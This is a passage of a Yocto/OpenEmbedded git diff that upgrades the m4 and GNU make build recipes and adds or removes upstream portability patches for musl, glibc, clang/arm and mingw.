+ -e "s;LOCALE_FR_UTF8='none';LOCALE_FR_UTF8='fr_FR.utf8';g" ${D}${PTEST_PATH}/tests/Makefile
+ find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
+ cp ${S}/build-aux/update-copyright ${D}${PTEST_PATH}/tests/
+ sed -i 's;update-copyright;./update-copyright;g' ${D}${PTEST_PATH}/tests/test-update-copyright.sh
+ chmod 0755 ${D}${PTEST_PATH}/tests/test-mbrtowc-w32-1.sh ${D}${PTEST_PATH}/tests/test-spawn-pipe-main \
+ ${D}${PTEST_PATH}/tests/test-spawn-pipe-child ${D}${PTEST_PATH}/tests/test-version-etc \
+ ${D}${PTEST_PATH}/tests/test-xalloc-die
+
+ ln -s ptest ${D}${libdir}/${BPN}/${BP}
+}
+
+
+RDEPENDS:${PN}-ptest += "make coreutils diffutils"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-fr-fr.iso-8859-1 \
+"
+
+INSANE_SKIP:${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "rpaths"
+
diff --git a/meta/recipes-devtools/m4/m4-native_1.4.18.bb b/meta/recipes-devtools/m4/m4-native_1.4.19.bb
index 407ad89330..407ad89330 100644
--- a/meta/recipes-devtools/m4/m4-native_1.4.18.bb
+++ b/meta/recipes-devtools/m4/m4-native_1.4.19.bb
diff --git a/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch b/meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch
new file mode 100644
index 0000000000..04320de63a
--- /dev/null
+++ b/meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch
@@ -0,0 +1,37 @@
+From 36d5e26f606e070553eb0fff1f738e61970be5d7 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Mar 2022 20:22:20 -0800
+Subject: [PATCH] sigsegv: Fix build on ppc/musl
+
+mcontext is not a standard layout so glibc and musl differ sadly.
+
+Fixes
+../../m4-1.4.19/lib/sigsegv.c: In function 'sigsegv_handler': ../../m4-1.4.19/lib/sigsegv.c:223:75: error: 'mcontext_t' has no member named 'uc_regs'; did you mean 'gregs'? 223 | # define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.uc_regs->gregs[1] | ^~~~~~~
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/m4-patches/2022-03/msg00000.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ lib/sigsegv.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/lib/sigsegv.c b/lib/sigsegv.c
+index 696a152..fa0c465 100644
+--- a/lib/sigsegv.c
++++ b/lib/sigsegv.c
+@@ -217,10 +217,10 @@ int libsigsegv_version = LIBSIGSEGV_VERSION;
+ # define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.gp_regs[1]
+ # else /* 32-bit */
+ /* both should be equivalent */
+-# if 0
+-# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.regs->gpr[1]
++# if ! defined __GLIBC__
++# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_regs->gregs[1]
+ # else
+-# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.uc_regs->gregs[1]
++# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.uc_regs->gregs[1]
+ # endif
+ # endif
+
+--
+2.35.1
+
diff --git a/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch b/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch
deleted file mode 100644
index 11508ee0e2..0000000000
--- a/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 75bea7c72a919859674f493548653de88f96c798 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Mon, 22 Apr 2019 10:36:13 +0800
-Subject: [PATCH] test-getopt-posix fix
-
-fix below problem:
-test-getopt.h:754: assertion 'strcmp (argv[1], "donald") == 0' failed
-
-get this patch from
-https://github.com/habitat-sh/core-plans/blob/master/m4/fix-test-getopt-posix-with-glibc-2.26.patch
-
-Upstream-Status: Pending
-
-have report this bug to m4-discuss@gnu.org
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- tests/test-getopt-posix.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/tests/test-getopt-posix.c b/tests/test-getopt-posix.c
-index 5532271..2a3d511 100644
---- a/tests/test-getopt-posix.c
-+++ b/tests/test-getopt-posix.c
-@@ -22,6 +22,13 @@
- ftell link warning if we are not using the gnulib ftell module. */
- #define _GL_NO_LARGE_FILES
-
-+/*
-+ * Glibc 2.26 does hard include bits/getopt_posix.h which causes the system
-+ * to use glibc's getopt but the tests expect gnulib behavior. Until a better
-+ * fix is available this avoids that mis-resolution.
-+ */
-+#include <getopt.h>
-+
- /* POSIX and glibc provide the getopt() function in <unistd.h>, see
- http://pubs.opengroup.org/onlinepubs/9699919799/functions/getopt.html
- https://www.gnu.org/software/libc/manual/html_node/Using-Getopt.html
---
-2.7.4
-
diff --git a/meta/recipes-devtools/m4/m4/ac_config_links.patch b/meta/recipes-devtools/m4/m4/ac_config_links.patch
index 71edf59512..39fcd91896 100644
--- a/meta/recipes-devtools/m4/m4/ac_config_links.patch
+++ b/meta/recipes-devtools/m4/m4/ac_config_links.patch
@@ -12,20 +12,26 @@ source, and what we want is to is to not touch it.
Tested on x86_64_linux (Ubuntu 8.04 and 9.10).
-2009-11-10 Esben Haabendal <eha@doredevelopment.dk>
+2009-11-10 Esben Haabendal <eha@doredevelopment.dk>
+---
+ configure | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
-Index: m4-1.4.18/configure
-===================================================================
---- m4-1.4.18.orig/configure
-+++ m4-1.4.18/configure
-@@ -24415,8 +24415,8 @@ $as_echo "#define GNULIB_TEST_GETTIMEOFD
+diff --git a/configure b/configure
+index 883336a..6343a34 100755
+--- a/configure
++++ b/configure
+@@ -37061,8 +37061,8 @@ printf "%s\n" "#define GNULIB_TEST_GETRANDOM 1" >>confdefs.h
# only, it does not matter if we skip the link with older autoconf.
# Automake 1.10.1 and earlier try to remove GNUmakefile in non-VPATH
# builds, so use a shell variable to bypass this.
- GNUmakefile=GNUmakefile
- ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
-+ # GNUmakefile=GNUmakefile
-+ # ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
++# GNUmakefile=GNUmakefile
++# ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
- :
+ LIB_HARD_LOCALE="$LIB_SETLOCALE_NULL"
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch b/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch
deleted file mode 100644
index c10bcbf693..0000000000
--- a/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch
+++ /dev/null
@@ -1,130 +0,0 @@
-update for glibc libio.h removal in 2.28+
-
-see
-https://src.fedoraproject.org/rpms/m4/c/814d592134fad36df757f9a61422d164ea2c6c9b?branch=master
-
-Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/gnulib.git/commit/?id=4af4a4a718]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: m4-1.4.18/lib/fflush.c
-===================================================================
---- m4-1.4.18.orig/lib/fflush.c
-+++ m4-1.4.18/lib/fflush.c
-@@ -33,7 +33,7 @@
- #undef fflush
-
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- /* Clear the stream's ungetc buffer, preserving the value of ftello (fp). */
- static void
-@@ -72,7 +72,7 @@ clear_ungetc_buffer (FILE *fp)
-
- #endif
-
--#if ! (defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-+#if ! (defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-
- # if (defined __sferror || defined __DragonFly__ || defined __ANDROID__) && defined __SNPT
- /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Android */
-@@ -148,7 +148,7 @@ rpl_fflush (FILE *stream)
- if (stream == NULL || ! freading (stream))
- return fflush (stream);
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- clear_ungetc_buffer_preserving_position (stream);
-
-Index: m4-1.4.18/lib/fpending.c
-===================================================================
---- m4-1.4.18.orig/lib/fpending.c
-+++ m4-1.4.18/lib/fpending.c
-@@ -32,7 +32,7 @@ __fpending (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- return fp->_IO_write_ptr - fp->_IO_write_base;
- #elif defined __sferror || defined __DragonFly__ || defined __ANDROID__
- /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Android */
-Index: m4-1.4.18/lib/fpurge.c
-===================================================================
---- m4-1.4.18.orig/lib/fpurge.c
-+++ m4-1.4.18/lib/fpurge.c
-@@ -62,7 +62,7 @@ fpurge (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_IO_read_end = fp->_IO_read_ptr;
- fp->_IO_write_ptr = fp->_IO_write_base;
- /* Avoid memory leak when there is an active ungetc buffer. */
-Index: m4-1.4.18/lib/freadahead.c
-===================================================================
---- m4-1.4.18.orig/lib/freadahead.c
-+++ m4-1.4.18/lib/freadahead.c
-@@ -25,7 +25,7 @@
- size_t
- freadahead (FILE *fp)
- {
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_write_ptr > fp->_IO_write_base)
- return 0;
- return (fp->_IO_read_end - fp->_IO_read_ptr)
-Index: m4-1.4.18/lib/freading.c
-===================================================================
---- m4-1.4.18.orig/lib/freading.c
-+++ m4-1.4.18/lib/freading.c
-@@ -31,7 +31,7 @@ freading (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- return ((fp->_flags & _IO_NO_WRITES) != 0
- || ((fp->_flags & (_IO_NO_READS | _IO_CURRENTLY_PUTTING)) == 0
- && fp->_IO_read_base != NULL));
-Index: m4-1.4.18/lib/fseeko.c
-===================================================================
---- m4-1.4.18.orig/lib/fseeko.c
-+++ m4-1.4.18/lib/fseeko.c
-@@ -47,7 +47,7 @@ fseeko (FILE *fp, off_t offset, int when
- #endif
-
- /* These tests are based on fpurge.c. */
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_read_end == fp->_IO_read_ptr
- && fp->_IO_write_ptr == fp->_IO_write_base
- && fp->_IO_save_base == NULL)
-@@ -123,7 +123,7 @@ fseeko (FILE *fp, off_t offset, int when
- return -1;
- }
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_flags &= ~_IO_EOF_SEEN;
- fp->_offset = pos;
- #elif defined __sferror || defined __DragonFly__ || defined __ANDROID__
-Index: m4-1.4.18/lib/stdio-impl.h
-===================================================================
---- m4-1.4.18.orig/lib/stdio-impl.h
-+++ m4-1.4.18/lib/stdio-impl.h
-@@ -18,6 +18,12 @@
- the same implementation of stdio extension API, except that some fields
- have different naming conventions, or their access requires some casts. */
-
-+/* Glibc 2.28 made _IO_IN_BACKUP private. For now, work around this
-+ problem by defining it ourselves. FIXME: Do not rely on glibc
-+ internals. */
-+#if !defined _IO_IN_BACKUP && defined _IO_EOF_SEEN
-+# define _IO_IN_BACKUP 0x100
-+#endif
-
- /* BSD stdio derived implementations. */
-
diff --git a/meta/recipes-devtools/m4/m4_1.4.18.bb b/meta/recipes-devtools/m4/m4_1.4.19.bb
index b12c0adf3a..b12c0adf3a 100644
--- a/meta/recipes-devtools/m4/m4_1.4.18.bb
+++ b/meta/recipes-devtools/m4/m4_1.4.19.bb
diff --git a/meta/recipes-devtools/make/make.inc b/meta/recipes-devtools/make/make.inc
index b8905bc6d3..a0a72b6295 100644
--- a/meta/recipes-devtools/make/make.inc
+++ b/meta/recipes-devtools/make/make.inc
@@ -5,9 +5,7 @@ called the makefile, which lists each of the non-source files and how to compute
HOMEPAGE = "http://www.gnu.org/software/make/"
SECTION = "devel"
-SRC_URI = "${GNU_MIRROR}/make/make-${PV}.tar.bz2 \
- file://0001-glob-Do-not-assume-glibc-glob-internals.patch \
- file://0002-glob-Do-not-assume-glibc-glob-internals.patch \
+SRC_URI = "${GNU_MIRROR}/make/make-${PV}.tar.gz \
"
inherit autotools gettext pkgconfig texinfo
diff --git a/meta/recipes-devtools/make/make/0001-glob-Do-not-assume-glibc-glob-internals.patch b/meta/recipes-devtools/make/make/0001-glob-Do-not-assume-glibc-glob-internals.patch
deleted file mode 100644
index 2b6e4d40c3..0000000000
--- a/meta/recipes-devtools/make/make/0001-glob-Do-not-assume-glibc-glob-internals.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From c90a7dda6c572f79b8e78da44b6ebf8704edef65 Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Sun, 24 Sep 2017 09:12:58 -0400
-Subject: [PATCH 1/2] glob: Do not assume glibc glob internals.
-
-It has been proposed that glibc glob start using gl_lstat,
-which the API allows it to do. GNU 'make' should not get in
-the way of this. See:
-https://sourceware.org/ml/libc-alpha/2017-09/msg00409.html
-
-* dir.c (local_lstat): New function, like local_stat.
-(dir_setup_glob): Use it to initialize gl_lstat too, as the API
-requires.
----
-Upstream-Status: Backport
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- dir.c | 29 +++++++++++++++++++++++++++--
- 1 file changed, 27 insertions(+), 2 deletions(-)
-
-diff --git a/dir.c b/dir.c
-index f34bbf5..12eef30 100644
---- a/dir.c
-+++ b/dir.c
-@@ -1299,15 +1299,40 @@ local_stat (const char *path, struct stat *buf)
- }
- #endif
-
-+/* Similarly for lstat. */
-+#if !defined(lstat) && !defined(WINDOWS32) || defined(VMS)
-+# ifndef VMS
-+# ifndef HAVE_SYS_STAT_H
-+int lstat (const char *path, struct stat *sbuf);
-+# endif
-+# else
-+ /* We are done with the fake lstat. Go back to the real lstat */
-+# ifdef lstat
-+# undef lstat
-+# endif
-+# endif
-+# define local_lstat lstat
-+#elif defined(WINDOWS32)
-+/* Windows doesn't support lstat(). */
-+# define local_lstat local_stat
-+#else
-+static int
-+local_lstat (const char *path, struct stat *buf)
-+{
-+ int e;
-+ EINTRLOOP (e, lstat (path, buf));
-+ return e;
-+}
-+#endif
-+
- void
- dir_setup_glob (glob_t *gl)
- {
- gl->gl_opendir = open_dirstream;
- gl->gl_readdir = read_dirstream;
- gl->gl_closedir = free;
-+ gl->gl_lstat = local_lstat;
- gl->gl_stat = local_stat;
-- /* We don't bother setting gl_lstat, since glob never calls it.
-- The slot is only there for compatibility with 4.4 BSD. */
- }
-
- void
---
-2.16.1
-
diff --git a/meta/recipes-devtools/make/make/0001-m4-getloadavg.m4-restrict-AIX-specific-test-on-AIX.patch b/meta/recipes-devtools/make/make/0001-m4-getloadavg.m4-restrict-AIX-specific-test-on-AIX.patch
new file mode 100644
index 0000000000..096bcfdf78
--- /dev/null
+++ b/meta/recipes-devtools/make/make/0001-m4-getloadavg.m4-restrict-AIX-specific-test-on-AIX.patch
@@ -0,0 +1,38 @@
+From 8309601775d9442416329a77f7dcfd8aa799e9a6 Mon Sep 17 00:00:00 2001
+From: Jens Rehsack <sno@netbsd.org>
+Date: Fri, 21 Feb 2020 17:39:56 +0100
+Subject: [PATCH 1/2] m4/getloadavg.m4: restrict AIX specific test on AIX
+
+When cross compiling for a system without getloadavg, do not try add
+additional linker paths unless it's absolutely necessary.
+
+Signed-off-by: Jens Rehsack <sno@netbsd.org>
+---
+Upstream-Status: Pending
+ m4/getloadavg.m4 | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/m4/getloadavg.m4 b/m4/getloadavg.m4
+index 3bd2a14..696c5de 100644
+--- a/m4/getloadavg.m4
++++ b/m4/getloadavg.m4
+@@ -42,6 +42,8 @@ AC_CHECK_FUNC([getloadavg], [],
+ fi
+
+ if test $gl_func_getloadavg_done = no; then
++ AS_CASE([$host_os],
++ [aix*], [
+ # There is a commonly available library for RS/6000 AIX.
+ # Since it is not a standard part of AIX, it might be installed locally.
+ gl_getloadavg_LIBS=$LIBS
+@@ -49,6 +51,7 @@ AC_CHECK_FUNC([getloadavg], [],
+ AC_CHECK_LIB([getloadavg], [getloadavg],
+ [LIBS="-lgetloadavg $LIBS" gl_func_getloadavg_done=yes],
+ [LIBS=$gl_getloadavg_LIBS])
++ ], [:])
+ fi
+
+ # Set up the replacement function if necessary.
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch b/meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch
new file mode 100644
index 0000000000..2da7c983dc
--- /dev/null
+++ b/meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch
@@ -0,0 +1,38 @@
+From 86b7947156a0c33e768d0a265e38f2881a70a7e2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 6 Mar 2020 23:19:37 -0800
+Subject: [PATCH] makeinst: Do not undef POSIX on clang/arm
+
+if __arm internal compiler macro is defined then make assumes that the
+system is not posix and goes ahead and undefs POSIX, which results in
+miscompiling make with clang, since clang does define __arm unlike gcc
+which does not, but they both support posix just fine, so here check for
+compiler not being clang when __arm is defined before undefining posix
+
+Fixes error like
+../make-4.3/src/job.c:507:27: error: too many arguments to function call, expected 0, have 1
+ sigsetmask (siggetmask (0) & ~fatal_signal_mask)
+ ~~~~~~~~~~ ^
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/makeint.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/makeint.h b/src/makeint.h
+index c428a36..fadf963 100644
+--- a/src/makeint.h
++++ b/src/makeint.h
+@@ -115,7 +115,7 @@ extern int errno;
+ #endif
+
+ /* Some systems define _POSIX_VERSION but are not really POSIX.1. */
+-#if (defined (butterfly) || defined (__arm) || (defined (__mips) && defined (_SYSTYPE_SVR3)) || (defined (sequent) && defined (i386)))
++#if (defined (butterfly) || (defined (__arm) && !defined(__clang__)) || (defined (__mips) && defined (_SYSTYPE_SVR3)) || (defined (sequent) && defined (i386)))
+ # undef POSIX
+ #endif
+
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch b/meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch
new file mode 100644
index 0000000000..57970824f6
--- /dev/null
+++ b/meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch
@@ -0,0 +1,41 @@
+From cd7091a7d88306004ca98c5dafcc40f44589b105 Mon Sep 17 00:00:00 2001
+From: Jens Rehsack <sno@netbsd.org>
+Date: Mon, 24 Feb 2020 10:52:21 +0100
+Subject: [PATCH 1/3] src/dir.c: fix buffer-overflow warning
+
+Fix compiler warning:
+ src/dir.c:1294:7: warning: 'strncpy' specified bound depends on the
+ length of the source argument [-Wstringop-overflow=]
+
+The existing code assumes `path` will never exceed `MAXPATHLEN`. Also the
+size of the buffer is increased by 1 to hold a path with the length of
+`MAXPATHLEN` and trailing `0`.
+
+Signed-off-by: Jens Rehsack <sno@netbsd.org>
+---
+Upstream-Status: Pending (https://savannah.gnu.org/bugs/?57888)
+
+ src/dir.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/dir.c b/src/dir.c
+index 862a18e..cad4c4a 100644
+--- a/src/dir.c
++++ b/src/dir.c
+@@ -1289,10 +1289,10 @@ local_stat (const char *path, struct stat *buf)
+ if (plen > 1 && path[plen - 1] == '.'
+ && (path[plen - 2] == '/' || path[plen - 2] == '\\'))
+ {
+- char parent[MAXPATHLEN];
++ char parent[MAXPATHLEN+1];
+
+- strncpy (parent, path, plen - 2);
+- parent[plen - 2] = '\0';
++ strncpy (parent, path, MAXPATHLEN);
++ parent[MIN(plen - 2, MAXPATHLEN)] = '\0';
+ if (stat (parent, buf) < 0 || !_S_ISDIR (buf->st_mode))
+ return -1;
+ }
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/make/make/0002-glob-Do-not-assume-glibc-glob-internals.patch b/meta/recipes-devtools/make/make/0002-glob-Do-not-assume-glibc-glob-internals.patch
deleted file mode 100644
index d49acd9f6e..0000000000
--- a/meta/recipes-devtools/make/make/0002-glob-Do-not-assume-glibc-glob-internals.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 9858702dbd1e137262c06765919937660879f63c Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Sun, 24 Sep 2017 09:12:58 -0400
-Subject: [PATCH 2/2] glob: Do not assume glibc glob internals.
-
-It has been proposed that glibc glob start using gl_lstat,
-which the API allows it to do. GNU 'make' should not get in
-the way of this. See:
-https://sourceware.org/ml/libc-alpha/2017-09/msg00409.html
-
-* dir.c (local_lstat): New function, like local_stat.
-(dir_setup_glob): Use it to initialize gl_lstat too, as the API
-requires.
----
-Upstream-Status: Backport
-
- configure.ac | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 64ec870..e87901c 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -399,10 +399,9 @@ AC_CACHE_CHECK([if system libc has GNU glob], [make_cv_sys_gnu_glob],
- #include <glob.h>
- #include <fnmatch.h>
-
--#define GLOB_INTERFACE_VERSION 1
- #if !defined _LIBC && defined __GNU_LIBRARY__ && __GNU_LIBRARY__ > 1
- # include <gnu-versions.h>
--# if _GNU_GLOB_INTERFACE_VERSION == GLOB_INTERFACE_VERSION
-+if _GNU_GLOB_INTERFACE_VERSION == 1 || _GNU_GLOB_INTERFACE_VERSION == 2
- gnu glob
- # endif
- #endif],
---
-2.16.1
-
diff --git a/meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch b/meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch
new file mode 100644
index 0000000000..b3d97f9a3a
--- /dev/null
+++ b/meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch
@@ -0,0 +1,33 @@
+From fb8aaed3b040e589cd880fd714dda5ec00687217 Mon Sep 17 00:00:00 2001
+From: Jens Rehsack <sno@netbsd.org>
+Date: Mon, 24 Feb 2020 12:10:06 +0100
+Subject: [PATCH 2/2] modules: fcntl: allow being detected by importing
+ projects
+
+GNU project `make` relies on gnulib but provides some own compatibility
+functions - including an `fcntl`, which fails on mingw.
+The intension of gnulib is providing these functions and being wider tested,
+but silently injecting a function opens battle of compatibility layers.
+
+So adding a hint into target `config.h` to allow deciding whether using
+an own compatibility implementation or not.
+
+Signed-off-by: Jens Rehsack <sno@netbsd.org>
+---
+Upstream-Status: Pending
+
+ m4/gnulib-comp.m4 | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/m4/gnulib-comp.m4 b/m4/gnulib-comp.m4
+index 3ee0811..cf75541 100644
+--- a/m4/gnulib-comp.m4
++++ b/m4/gnulib-comp.m4
+@@ -147,6 +147,7 @@
+ gl_FUNC_FCNTL
+ if test $HAVE_FCNTL = 0 || test $REPLACE_FCNTL = 1; then
+ AC_LIBOBJ([fcntl])
++ AC_DEFINE(HAVE_GNULIB_FCNTL, 1, [Define to 1 if you have the `fcntl' function via gnulib.])
+ fi
+ gl_FCNTL_MODULE_INDICATOR([fcntl])
+ gl_FCNTL_H
diff --git a/meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch b/meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch
new file mode 100644
index 0000000000..9ecc44543e
--- /dev/null
+++ b/meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch
@@ -0,0 +1,36 @@
+From 4dd8b4f43aa0078707ad9a7932f4e137bc4383ed Mon Sep 17 00:00:00 2001
+From: Jens Rehsack <sno@netbsd.org>
+Date: Mon, 24 Feb 2020 11:12:43 +0100
+Subject: [PATCH 2/3] w32: compat: dirent.c: follow header
+
+src/w32/include/dirent.h completely delegates to mingw dirent implementation,
+gnulib detects it as fine and completely usable - trust in that.
+
+Signed-off-by: Jens Rehsack <sno@netbsd.org>
+---
+Upstream-Status: Pending (https://savannah.gnu.org/bugs/?57888)
+
+ src/w32/compat/dirent.c | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/src/w32/compat/dirent.c b/src/w32/compat/dirent.c
+index b8ec615..de80f72 100644
+--- a/src/w32/compat/dirent.c
++++ b/src/w32/compat/dirent.c
+@@ -23,7 +23,7 @@ this program. If not, see <http://www.gnu.org/licenses/>. */
+ #include <stdlib.h>
+ #include "dirent.h"
+
+-
++#ifndef __MINGW32__
+ DIR*
+ opendir(const char* pDirName)
+ {
+@@ -193,3 +193,4 @@ seekdir(DIR* pDir, long nPosition)
+
+ return;
+ }
++#endif /* !__MINGW32__ */
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch b/meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch
new file mode 100644
index 0000000000..70414c51f4
--- /dev/null
+++ b/meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch
@@ -0,0 +1,79 @@
+From 3d074c8fca5fcf3e6b83d33788f35a8f1b3a44a2 Mon Sep 17 00:00:00 2001
+From: Jens Rehsack <sno@netbsd.org>
+Date: Fri, 21 Feb 2020 19:29:49 +0100
+Subject: [PATCH 3/3] posixfcn: fcntl: gnulib > make-emulated
+
+Rate the fcntl emulation from gnulib higher than the own one.
+
+Signed-off-by: Jens Rehsack <sno@netbsd.org>
+---
